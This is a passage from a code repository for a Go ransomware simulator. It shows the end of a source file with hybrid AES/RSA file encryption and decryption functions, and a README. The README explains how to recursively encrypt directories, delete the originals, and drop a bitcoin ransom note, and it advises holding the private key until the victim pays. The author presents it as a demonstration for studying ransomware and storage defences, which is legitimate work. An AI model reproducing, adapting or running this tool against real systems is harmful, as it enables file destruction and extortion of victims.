270 | newFilePath := fmt.Sprintf("%s%s", path, encSuffix) 271 | 272 | plainText, err := os.ReadFile(path) 273 | 274 | if err != nil { 275 | return err 276 | } 277 | 278 | cipherText, err := crypto.AesEncrypt(plainText, aesKey) 279 | 280 | if err != nil { 281 | return err 282 | } 283 | 284 | fileContent := append(encryptedAesKey, cipherText...) 285 | 286 | return fs.WriteStringToFile(newFilePath, string(fileContent)) 287 | } 288 | 289 | func decryptFile(path string, rsaPrivateKey *rsa.PrivateKey, encSuffix string) error { 290 | log.Printf("Decrypting %s", path) 291 | 292 | cipherText, err := os.ReadFile(path) 293 | 294 | newFilePath := strings.Replace(path, encSuffix, "", 1) 295 | 296 | if err != nil { 297 | return err 298 | } 299 | 300 | byteReader := bytes.NewReader(cipherText) 301 | encryptedAesKey := make([]byte, 256) 302 | 303 | _, err = byteReader.ReadAt(encryptedAesKey, 0) 304 | 305 | if err != nil { 306 | return err 307 | } 308 | 309 | aesKey, err := crypto.RsaDecrypt(encryptedAesKey, rsaPrivateKey) 310 | 311 | if err != nil { 312 | return err 313 | } 314 | 315 | plaintext, err := crypto.AesDecrypt(cipherText[len(encryptedAesKey):], aesKey) 316 | 317 | if err != nil { 318 | return err 319 | } 320 | 321 | return fs.WriteToFile(newFilePath, plaintext) 322 | } 323 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # ransomware-example 2 | 3 | A simple demonstration tool to simulate a ransomware attack locally 4 | 5 | ## ⚠️ Disclaimer ⚠️ 6 | 7 | This software is made just for demonstration and study purposes. 8 | If you want to run it locally for tests, take care of what directories you decide to encrypt. The software is distributed in MIT license. 9 | Its use is free, however the author doesn't take responsibility for any illegal use of the code by 3rd parties. 10 | 11 | ## Setup 12 | 13 | To setup the tool just run 14 | 15 | ```bash 16 | go install github.com/marmos91/ransomware@latest 17 | ``` 18 | 19 | ### Setup locally 20 | 21 | To run the tool locally without installing it 22 | 23 | ```bash 24 | go run main.go 25 | ``` 26 | 27 | ## Why 28 | 29 | In order to demonstrate the way ransomware works quickly and in a protected environment, **it is very useful to be able to restrict its operation within a directory**. 30 | This way the process takes much less time (the entire operating system does not need to be encrypted). 31 | Writing this tool in Go, also **allows the tool to be developed even in a non-Windows environment** (by far the most supported operating system by ransomware available online) 32 | 33 | ## Demo 34 | 35 | This project was used to showcase the resilience of [Cubbit](https://www.cubbit.io)'s object storage to this type of attack, demonstrating how it is possible to defend against such a tool using. 36 | Cubbit's features ([versioning](https://docs.cubbit.io/guides/bucket-and-object-versioning), [object locking](https://docs.cubbit.io/guides/object-lock)). 37 | 38 | The whole thing is available in a video demo that can be found [here](https://www.youtube.com/watch?v=w4vfng17eYg). 39 | 40 | [![Watch the video](https://markdown-videos.vercel.app/youtube/w4vfng17eYg)](https://youtu.be/w4vfng17eYg) 41 | 42 | The restore tool used in the demo is available [here](https://github.com/marmos91/s3restore). 43 | 44 | ## How to use it 45 | 46 | This tool is used to simulate a ransomware attack. With it you can perform the following actions: 47 | 48 | 1. After setting up a key, recursively encrypt the contents of a specified path 49 | 2. After asking for a key, recursively decrypt the contents of a specified path 50 | 51 | ## Help 52 | 53 | ```bash 54 | NAME: 55 | ransomware - A simple demonstration tool to simulate a ransomware attack 56 | 57 | USAGE: 58 | ransomware [global options] command [command options] [arguments...] 59 | 60 | VERSION: 61 | v1.0.0 62 | 63 | AUTHOR: 64 | Marco Moschettini 65 | 66 | COMMANDS: 67 | create-keys, c Generates a new random keypair and saves it to a file 68 | encrypt, e Encrypts a directory 69 | decrypt, d Decrypts a directory 70 | help, h Shows a list of commands or help for one command 71 | 72 | GLOBAL OPTIONS: 73 | --verbose Runs the tool in verbose mode (more logs) (default: false) 74 | --help, -h show help (default: false) 75 | --version, -v print the version (default: false) 76 | ``` 77 | 78 | ## Create a keypair 79 | 80 | First thing you need to do is to create a keypair. You can do it by running 81 | 82 | ```bash 83 | ransomware create-keys --path ~/Desktop 84 | ``` 85 | 86 | If you don't specifiy a path it will create the keys in `pwd`. 87 | This command will create two files: 88 | 89 | - pub.pem 90 | - priv.pem 91 | 92 | In a real scenario you need to put the `private key` in a server and provide it only after the victim payed the ransom. The public key needs instead to be embedded in the ransomware to encrypt the folders 93 | 94 | ## Encrypt a directory 95 | 96 | With this command you can recursively encrypt every file inside a specified directory. 97 | 98 | ```bash 99 | NAME: 100 | ransomware encrypt - Encrypts a directory 101 | 102 | USAGE: 103 | ransomware encrypt [command options] [arguments...] 104 | 105 | OPTIONS: 106 | --path value, -p value Runs the tool on a directory 107 | --publicKey value Loads the provided RSA public key in PEM format 108 | --extBlacklist value the extension to blacklist (default: ".enc") 109 | --extWhitelist value the extension to whitelist 110 | --skipHidden skips hidden folders (default: false) 111 | --dryRun encrypts files without deleting originals (default: false) 112 | --encSuffix value defines the suffix to add to encrypted files (default: ".enc") 113 | --addRansom if set to true add a ransom note to every encrypted folder (default: false) 114 | --ransomTemplatePath value defines where to find the template to use for the ransom note 115 | --ransomFileName value defines the name of the ransom file name (default: "IMPORTANT.txt") 116 | --bitcoinCount value how many bitcoins to ask as ransom (default: 0) 117 | --bitcoinAddress value the bitcoin address to use (default: "") 118 | --help, -h show help (default: false) 119 | ``` 120 | 121 | For example if you want to run the tool on the `~/Documents` folder run: 122 | 123 | ```bash 124 | ransomware encrypt --publicKey ./pub.pem --path ~/Documents 125 | ``` 126 | 127 | This command provides the following options: 128 | 129 | - `path`: the path to encrypt. This is required 130 | - `publicKey`: the path of the publicKey PEM file created by the `create-keys` command 131 | - `extBlacklist`: if provided, a comma-separated list of extension to skip. **This feature is useful, to exclude executable like `.exe` files** 132 | - `extWhitelist`: if provided, a comma-separated list of extension to whitelist 133 | - `skipHidden`: if set, skips hidden folders 134 | - `dryRun`: just creates encrypted files without deleting originals 135 | - `encSuffix`: defines a custom extension to set on encrypted files (default `.enc`) 136 | - `addRansom`: if the tool should generate a new ransom.txt file for each encrypted folder 137 | - `ransomTemplatePath`: the path of the template to use as ransom 138 | - `ransomFileName`: the name to give to the ransom file 139 | - `bitcoinCount`: how many bitcoin to ask as ransom 140 | - `bitcoinAddress`: the bitcoin address to use inside the ransom file 141 | 142 | ### Examples 143 | 144 | Just encrypt gif files on Desktop 145 | 146 | ```bash 147 | ransomware encrypt --publicKey ./pub.pem --path ~/Desktop --extWhitelist .gif 148 | ``` 149 | 150 | Encrypt everything except `.csv` and `.pdf` files 151 | 152 | ```bash 153 | ransomware encrypt --publicKey ./pub.pem --path ~/Desktop --extBlacklist .csv,.pdf 154 | ``` 155 | 156 | Encrypt everything and add a ransom file 157 | 158 | ```bash 159 | ransomware encrypt --publicKey ./pub.pem --path ~/Desktop --addRansom --ransomTemplatePath ./ransom/IMPORTANT.txt 160 | ``` 161 | 162 | ### Ransom file 163 | 164 | This is an example of ransom file. The templated strings `{{.BitcoinAddress}}`, `{{.BitcoinCount}}` and `{{.PubliKey}}` will be replace by the script. Please check encrypt options to see options available 165 | 166 | ```txt 167 | !!! IMPORTANT !!! 168 | 169 | All of your files are encrypted with RSA 4096 and AES 256 ciphers. 170 | More information about RSA and AES can be found here: 171 | - https://en.wikipedia.org/wiki/RSA_(cryptosystem) 172 | - https://en.wikipedia.org/wiki/Advanced_Encryption_Standard 173 | 174 | Decrypting of your files is only possible with the private key and decrypt program, which is not available to you. 175 | To receive your private key please send {{.BitcoinCount}}BTC to {{.BitcoinAddress}} together with the public key used to encrypt your files 176 | 177 | The public key to use in the form is 178 | 179 | {{.PublicKey}} 180 | ``` 181 | 182 | ## Decrypt a directory 183 | 184 | With this command you can decrypt a folder back to its original form after a victim payed the ransom 185 | 186 | ```bash 187 | NAME: 188 | ransomware decrypt - Decrypts a directory 189 | 190 | USAGE: 191 | ransomware decrypt [command options] [arguments...] 192 | 193 | OPTIONS: 194 | --path value, -c value Runs the tool on a directory 195 | --privateKey value Loads the provided RSA private key in PEM format 196 | --dryRun decrypts files without deleting encrypted versions (default: false) 197 | --encSuffix value defines the suffix to add to encrypted files (default: ".enc") 198 | --ransomFileName value defines the name of the ransom file name (default: "IMPORTANT.txt") 199 | --help, -h show help (default: false) 200 | ``` 201 | 202 | For example if you want to run the tool on the `~/Documents` folder run: 203 | 204 | ```bash 205 | ransomware decrypt --privateKey ./priv.pem --path ~/Desktop/toEncrypt 206 | ``` 207 | 208 | This command provides the following options: 209 | 210 | - `path`: the path to encrypt. This is required 211 | - `privateKey`: the path of the privateKey PEM file created by the `create-keys` command 212 | - `dryRun`: just creates decrypted files without deleting encrypted version 213 | - `encSuffix`: defines a custom extension for encrypted files (default `.enc`) 214 | - `ransomFileName`: defines the name of the ransom file. Needed to delete the files previously generated 215 | 216 | ## How it works 217 | 218 | The tool implements a [**hybrid encryption strategy**]() making use of two different algorithms: 219 | 220 | - [AES256](https://en.wikipedia.org/wiki/Advanced_Encryption_Standard) 221 | - [RSA2048]() 222 | 223 | The reason for this choice is related to the different nature of the two encryption algorithms. **A hybrid approach takes advantage of the performance of AES to execute faster, while at the same time not providing the decryption key within the executable**. 224 | 225 | A new random AES key is then generated for the session each time the tool is executed. **This key is used to encrypt all files in the selected folder**. For later retrieval, this key is **encrypted with the public RSA key provided** to the tool and prepended to all encrypted files. 226 | 227 | In this way, the tool, provided with the corresponding private key, will be able to **read the AES key at the beginning of each file, decrypt it, and finally use it to decrypt the file**. 228 | --------------------------------------------------------------------------------